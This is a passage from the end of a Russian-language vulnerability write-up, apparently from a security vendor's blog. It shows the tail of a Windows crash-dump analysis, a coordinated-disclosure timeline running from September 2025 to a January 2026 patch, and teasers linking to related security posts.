OSNAME: Windows 10
FAILURE_ID_HASH: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}
Followup: MachineOwner
---------
Дальнейшая эксплуатация уязвимости не представляет сложности.
Хронология раскрытия информации
- 23 сентября 2025 года — производитель был уведомлен об уязвимости и получил технический отчет.
- 25 сентября 2025 года — производитель завершил внутренний анализ и подтвердил наличие уязвимости. Были предоставлены предварительные сроки выпуска исправления и публикации бюллетеня безопасности.
- 26 сентября 2025 года — производитель был уведомлен о планируемом публичном раскрытии информации.
- 13 января 2026 года — были выпущены обновления безопасности и опубликован бюллетень.
Ещё в группе «Общее»
- Мы помогли Apple устранить уязвимость в ядре ее операционных систем
Мы помогли Apple устранить уязвимость в ядре ее операционных систем Эксперт PT ESC Михаил Ложников обнаружил…
- Ваш сервер Zimbra под угрозой
Недавно наша команда PT ESC IR столкнулась с новой атакой ransomware-группировок на почтовые серверы Zimbra с…
- VMkatz: скрытая угроза для виртуальной инфраструктуры 🫣
В 2026 году был опубликован инструмент VMkatz. По функционалу он напоминает широко известный инструмент Mimikatz, но,…
- ⚠️ Включил отладку по Wi-Fi — получил Mamont
⚠️ Включил отладку по Wi-Fi — получил Mamont В начале мая на устройствах Android была обнаружена…
- Dirty Frag 🐧
Dirty Frag 🐧💥 Спустя неделю после нашумевшего Copy.Fail исследователь v4bel раскрыл новую технику повышения привилегий в…







